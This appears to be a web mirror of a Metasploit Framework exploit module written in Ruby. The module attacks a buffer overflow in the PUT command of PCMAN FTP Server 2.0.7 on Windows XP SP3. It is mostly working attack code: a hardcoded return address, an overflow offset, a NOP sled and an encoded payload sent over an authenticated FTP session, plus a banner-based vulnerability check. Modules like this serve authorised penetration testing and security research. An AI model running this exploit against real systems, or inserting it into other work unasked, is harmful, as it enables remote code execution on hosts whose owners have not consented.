CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/pcman_put.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'PCMAN FTP Server Buffer Overflow - PUT Command',
14
'Description' => %q{
15
This module exploits a buffer overflow vulnerability found in the PUT command of the
16
PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous
17
credentials are enabled.
18
},
19
'Author' =>
20
[
21
'Jay Turla', # Initial Discovery -- @shipcod3
22
'Chris Higgins' # msf Module -- @ch1gg1ns
23
],
24
'License' => MSF_LICENSE,
25
'References' =>
26
[
27
[ 'CVE', '2013-4730' ],
28
[ 'EDB', '37731'],
29
[ 'OSVDB', '94624']
30
],
31
'DefaultOptions' =>
32
{
33
'EXITFUNC' => 'process'
34
},
35
'Payload' =>
36
{
37
'Space' => 1000,
38
'BadChars' => "\x00\x0A\x0D",
39
},
40
'Platform' => 'win',
41
'Targets' =>
42
[
43
[ 'Windows XP SP3 English',
44
{
45
'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
46
'Offset' => 2007
47
}
48
],
49
],
50
'DisclosureDate' => '2015-08-07',
51
'DefaultTarget' => 0))
52
end
53
54
def post_auth?
55
true
56
end
57
58
def check
59
connect_login
60
disconnect
61
62
if /220 PCMan's FTP Server 2\.0/ === banner
63
Exploit::CheckCode::Appears
64
else
65
Exploit::CheckCode::Safe
66
end
67
end
68
69
70
def exploit
71
connect_login
72
73
print_status('Generating payload...')
74
sploit = rand_text_alpha(target['Offset'])
75
sploit << [target.ret].pack('V')
76
sploit << make_nops(16)
77
sploit << payload.encoded
78
79
send_cmd( ["PUT", sploit], false )
80
disconnect
81
end
82
end
83
84